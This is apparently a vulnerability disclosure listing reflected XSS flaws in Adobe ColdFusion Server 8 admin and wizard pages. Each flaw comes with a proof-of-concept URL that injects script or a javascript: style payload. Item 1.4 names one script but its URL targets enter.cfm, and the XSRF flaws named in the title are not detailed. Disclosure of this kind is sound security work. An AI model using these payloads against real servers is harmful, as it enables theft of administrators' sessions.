Multiple Linked XSS and XSRF vulnerabilities have been found in Adobe Coldfusion Server 8. An attacker can create an 'evil' link and steal the administrators cookie
1. Multiple Linked XSS vulnerabilities found in Adobe Coldfusion Server 8.
1.1 Linked XSS vulnerability found in script searchlog.cfm. vulnerable parameter startRow
Example: http://localhost:8500/CFIDE/administrator/logviewer/searchlog.cfm?viewShort=0&sortBy=&filter=CurrentFilter&startRow=22%22%20%20STYLE=%22background-image:url(javascript:alert(%27%DF%20%E7%E4%E5%F1%FC%20%E1%FB%EB%27))%22%3E
1.2 Linked XSS vulnerability found in script _logintowizard.cfm. Attacker can inject XSS in url string
Example:
http://localhost:8500/CFIDE/wizards/common/_logintowizard.cfm?>'"><script>alert('DSECRG_XSS')</script>
1.3 Linked XSS vulnerability found in script _authenticatewizarduser.cfm. Attacker can inject XSS in url string
Example:
http://localhost:8500/CFIDE/wizards/common/_authenticatewizarduser.cfm?>'"><script>alert('DSECRG_XSS')</script>
1.4 Linked XSS vulnerability found in script _authenticatewizarduser.cfm.Attacker can inject XSS in url string
Example:
http://localhost:8500/CFIDE/administrator/enter.cfm?>'"><script>alert('DSECRG_XSS')</script>
